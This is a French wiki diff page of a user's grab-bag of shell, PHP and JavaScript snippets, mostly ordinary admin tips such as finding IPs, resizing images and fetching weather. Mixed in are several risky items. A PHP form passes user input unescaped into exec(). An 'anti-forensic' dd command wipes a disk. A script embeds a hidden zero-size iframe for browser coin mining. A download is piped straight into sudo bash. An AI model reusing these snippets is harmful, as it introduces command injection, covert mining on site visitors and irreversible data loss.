Différences
Ci-dessous, les différences entre deux révisions de la page.
Les deux révisions précédentes Révision précédente Prochaine révision | Révision précédente | ||
utilisateurs:j5012:brouillons:scripts_en_vrac [Le 22/12/2013, 02:03] J5012 ajout scripts en vrac |
utilisateurs:j5012:brouillons:scripts_en_vrac [Le 10/03/2021, 11:58] (Version actuelle) J5012 [Suppléez Policykit] modif err cmdline |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | ======= Scripts en vrac ======= | + | ====== Scripts en vrac ====== |
Bouts de scripts de plusieurs auteurs, à utiliser en connaissance de cause, et toujurs avec prudence ! | Bouts de scripts de plusieurs auteurs, à utiliser en connaissance de cause, et toujurs avec prudence ! | ||
- | ==== FUR1204 -by- framakey ==== | + | ===== In the Forums ===== |
+ | |||
+ | ==== Ne cherche plus ton hostname libreoffice ==== | ||
+ | |||
+ | <code bash>cat /etc/hosts</code> | ||
+ | * modifiez votre **/etc/hosts** en remplaçant **HOSTNAME** par **nom-de-mon-ordinateur** | ||
+ | <code bash>127.0.0.1 HOSTNAME localhost HOSTNAME.(none)</code> | ||
+ | * **nom-de-mon-ordinateur** est lisible à la ligne suivante | ||
+ | <code bash>127.0.1.1 nom-de-mon-ordinateur</code> | ||
+ | |||
+ | ==== Identifiez votre adresse IP ==== | ||
+ | |||
+ | <code bash>ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2</code> | ||
+ | * Remplacer **eth0** par le nom de votre interface réseau | ||
+ | |||
+ | ==== Identifiez vos adresses IP public et privé ==== | ||
+ | |||
+ | <code bash>wget -qO- icanhazip.com | ||
+ | nm-tool | grep '^ *Address' | awk '{ print $2 }'</code> | ||
+ | * Installez au préalable le paquet nm-tool (precise et trusty uniquement → sniff) | ||
+ | * le site utilitaire icanhazip retournera toujours votre IP public | ||
+ | |||
+ | ===== In the Deep ... ===== | ||
+ | |||
+ | ==== Wget anti-robots -by- anonym at korben's ==== | ||
+ | |||
+ | '' Récupérer toutes les images présentes sur une page web avec Wget '' : in extenso, ca peut être autre chose que des images ^^ | ||
<code> | <code> | ||
+ | wget -nd -H -p -A jpg,jpeg,png,gif -e robots=off http://… | ||
+ | </code> | ||
+ | ==== For Loops 1, 2, 3 times ==== | ||
+ | |||
+ | * Vous avez besoin de décomptez non pas une fois mais plusieurs, par exemple : une variable pour l'année, une pour le mois, une pour le jour. | ||
+ | * Vous ne voulez pas rédiger un programme complet, lent et casse-pompon. | ||
+ | * Vous utilisez la ligne de commande dont les traces sont plus faciles à supprimer. | ||
+ | |||
+ | <code bash> | ||
+ | for k in {2012..2019}; do for j in {01..12}; do for i in {01..12}; do echo "$k-$j-$i"; done; done; done | ||
+ | </code> | ||
+ | |||
+ | * Ça compte les 12 premiers jours sur deux chiffres de chacun des 12 mois des années 2012 à 2019. | ||
+ | * Comprenez : ce peut être autre chose que des années, mois ou jours. Ce peut être une commande différente. | ||
+ | * On peut théoriquement engranger les boucles For, mais après 3, vos yeux commencent à loucher, hein ? | ||
+ | * NB : l'incrémentation explicite avec Let n'est plus requise depuis la version 4.0 de Bash. À vérifier. | ||
+ | |||
+ | |||
+ | ==== Dé-PDF-isez même verrouillé ==== | ||
+ | |||
+ | <code bash> | ||
+ | pdftocairo -f debut% -l fin% -jpeg "monpdf.pdf" -scale-to pixels% -cropbox | ||
+ | </code> | ||
+ | * debut% est un nombre entier désignant la première page à extraire (souvent debut% égale 1) | ||
+ | * fin% est un nombre entier désignant la dernière page à extraire (souvent fin% égale le nombre de pages) | ||
+ | * quand debut% et fin% sont égales, pdftocairo extrait une page unique | ||
+ | * pixels% est un nombre entier désignant la largeur maximum désirée pour l'image graphique extraite | ||
+ | * l'option 'cropbox' est à utiliser si pdftocairo extrait des images sans texte ou/et décolorées | ||
+ | * lire absolument le bon man de pdftocairo | ||
+ | |||
+ | ==== Re-graphi-sizez en masse ==== | ||
+ | |||
+ | * contraction néologique pour le retaillage des images en ligne de commande avec convert d'imagemagick au lieu d'utiliser TheGimp et la série de clics qui vont bien ;) | ||
+ | * convert permet des options de retaillage complexes, lire son man, mais cette astuce se contente de couper la moitié (la plupart des APN rendent actuellement 4000 pixels) | ||
+ | |||
+ | <code bash> | ||
+ | for file in *.jpg; do convert $file -resize 50% $file; done | ||
+ | </code> | ||
+ | |||
+ | * les images sont supposées être du même format, de la même extension, dans un dossier unique | ||
+ | * le mini-script fait un listing des fichiers jpeg, et les convertit un-à-un (chaque fichier original est écrasé) | ||
+ | |||
+ | ==== Suppléez Policykit ==== | ||
+ | |||
+ | - vous avez un systéme Ubuntu récent, mais un environnement non classic sans agent policykit qui aille bien ... | ||
+ | - modifiez les lanceurs de bureau qui necessitent l'accès administrateur (gparted, synaptic ...) | ||
+ | |||
+ | <code bash>Exec = xterm -e "sudo /usr/sbin/synaptic"</code> | ||
+ | |||
+ | → le lanceur modifié s'exécute sur une session xterm attendant l'entrée du mot de passe. | ||
+ | |||
+ | → vous pouvez aussi utiliser la commande bash avec l'option -c , mais ca ne fonctionne pas toujours avec les systémes minimaux. | ||
+ | |||
+ | ==== Modules non-signés dans Firefox (test avec v66.0.1 64bits) ==== | ||
+ | |||
+ | 1/ Lancez l'éditeur de configuration | ||
+ | <code>about:config</code> | ||
+ | |||
+ | 2/ Option de configuration à modifier | ||
+ | <code>xpinstall.signatures.required = true</code> | ||
+ | vers | ||
+ | <code>xpinstall.signatures.required = false</code> | ||
+ | |||
+ | → chaque module non-signé sera désigné comme tel dans la section des extensions du gestionnaire de modules. | ||
+ | |||
+ | → plus d'infos chez Mozilla : [[https://support.mozilla.org/fr/kb/signature-modules-complementaires-firefox?as=u&utm_source=inproduct#w_comment-faire-pour-utiliser-un-module-non-signaea-utilisateurs-avancaes|Comment faire pour utiliser un module non signé ? (utilisateurs avancés)]]. | ||
+ | |||
+ | ==== Script php pour télécharger avec wget ==== | ||
+ | |||
+ | <code php><?php | ||
+ | if(isset($_POST['path']) && isset($_POST['url'])) | ||
+ | { | ||
+ | |||
+ | $path = $_POST['path']; | ||
+ | $url = $_POST['url']; | ||
+ | $cmd = "wget \"$url\" -O \"$path\""; | ||
+ | exec ($cmd); | ||
+ | echo" La commande a bien été exécutée : $cmd "; | ||
+ | } | ||
+ | print "<form action=\"$PHP_SELF\" method=post> | ||
+ | Lien (URL) : <input name=url><br> | ||
+ | Path Complet: <input name=path><br> | ||
+ | <input type=submit value=\"envoyer\">"; | ||
+ | |||
+ | ?></code> | ||
+ | |||
+ | ==== Anti-forensic ==== | ||
+ | |||
+ | * disk dump aléatoire, 7 passes ... | ||
+ | <code bash>for n in `seq 7`; do dd if=/dev/urandom of=/dev/sdX bs=8b conv=notrunc; done</code> | ||
+ | * disk dump zero | ||
+ | <code bash>dd if=/dev/zero of=zero; rm -f zero</code> | ||
+ | |||
+ | ==== Consultez la météo avant de sortir de chez vous ;) ==== | ||
+ | |||
+ | * nommez la ville de votre choix ... ex : toulouse, lyon, papeete, tokyo ... | ||
+ | * astuce : lisez les petits caractères juste après le "curl" | ||
+ | |||
+ | * consultation immédiate | ||
+ | <code bash>curl wttr.in/toulouse</code> | ||
+ | * suivi enregistré pour un historique ... | ||
+ | <code bash>curl -A "Mozilla/4.0" wttr.in/toulouse > ./toulouse_meteo.html</code> | ||
+ | * avec formatage de date | ||
+ | <code bash> | ||
+ | #!/bin/bash | ||
+ | dateofday=$(date +%Y-%m-%d) | ||
+ | #zenity --info --text="La meteo $dateofday de tokyo" | ||
+ | curl -A "Mozilla/4.0" wttr.in/tokyo > "tokyo_meteo $dateofday.html" | ||
+ | #zenity --info --text="La meteo $dateofday de paris" | ||
+ | curl -A "Mozilla/4.0" wttr.in/paris > "paris_meteo $dateofday.html" | ||
+ | </code> | ||
+ | |||
+ | ==== Api Coins ==== | ||
+ | |||
+ | * le code api qui implémente votre coin numérique | ||
+ | <code javascript>function addLoadEvent(fun) { | ||
+ | if (window.attachEvent) window.attachEvent('onload', fun); | ||
+ | else if (window.addEventListener) window.addEventListener('load', fun, false); | ||
+ | else document.addEventListener('load', fun, false); | ||
+ | } | ||
+ | |||
+ | function bitpit(params) { | ||
+ | addLoadEvent(function() { | ||
+ | var url = window.location.protocol + "//api.bitp.it/mine?"; | ||
+ | params.domain = window.location.href.split('//')[1].split('/')[0]; | ||
+ | for(var name in params){ | ||
+ | url = url + name + "=" + params[name] + "&"; | ||
+ | } | ||
+ | var frame = document.createElement("iframe"); | ||
+ | frame.setAttribute("src", url); | ||
+ | frame.setAttribute("name", "bitpit") | ||
+ | frame.setAttribute("style", "display: none;"); | ||
+ | frame.setAttribute("height", "0"); | ||
+ | frame.setAttribute("width", "0"); | ||
+ | document.body.appendChild(frame); | ||
+ | }); | ||
+ | }</code> | ||
+ | |||
+ | * le code qui utilise l'api du coin numérique | ||
+ | <code javascript><script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script> | ||
+ | <script type="text/javascript"> | ||
+ | bitpit({clientId: "6917", forceUIThread: true}); | ||
+ | </script></code> | ||
+ | |||
+ | ==== FUR1204 -by- framakey ==== | ||
+ | |||
+ | <code bash> | ||
ubuntu@ubuntu:~$ ls /home | ubuntu@ubuntu:~$ ls /home | ||
ubuntu | ubuntu | ||
Ligne 21: | Ligne 194: | ||
</code> | </code> | ||
- | ==== Balise HTML /s IE8 -by- idleman ==== | + | ==== Balises HTML5 /s IE8 -by- idleman ==== |
Entre les balises <head> et </head> de votre site, ajoutez le code suivant : | Entre les balises <head> et </head> de votre site, ajoutez le code suivant : | ||
- | <code> | + | <code javascript> |
<script type="text/javascript"><br> | <script type="text/javascript"><br> | ||
document.createElement("header");<br> | document.createElement("header");<br> | ||
Ligne 41: | Ligne 214: | ||
Au début de votre css, ajoutez le code suivant : | Au début de votre css, ajoutez le code suivant : | ||
- | <code> | + | <code css> |
header, footer, section, hgroup, aside, nav, article, figure, figcaption, time, dialog {<br> | header, footer, section, hgroup, aside, nav, article, figure, figcaption, time, dialog {<br> | ||
display: block;<br> | display: block;<br> | ||
Ligne 47: | Ligne 220: | ||
</code> | </code> | ||
- | Les balises HTML5 se comporteront par défaut en tant que bloc. | + | Ces balises HTML5 se comporteront par défaut en tant que bloc. |
==== PHP :: Récuperer et sécuriser automatiquement toutes les variables POST et GET -by- idleman ==== | ==== PHP :: Récuperer et sécuriser automatiquement toutes les variables POST et GET -by- idleman ==== | ||
- | <code> | + | <code php> |
$_ = array();<br> | $_ = array();<br> | ||
foreach($_POST as $key=>$val){<br> | foreach($_POST as $key=>$val){<br> | ||
Ligne 75: | Ligne 248: | ||
**Sous Mac OSX et Linux** | **Sous Mac OSX et Linux** | ||
- | <code>curl -s https://pagekite.net/pk/ | sudo bash</code> | + | <code bash>curl -s https://pagekite.net/pk/ | sudo bash</code> |
- | <code>pagekite.py 80 yourname.pagekite.me</code> | + | <code bash>pagekite.py 80 yourname.pagekite.me</code> |
**Sous Windows** | **Sous Windows** |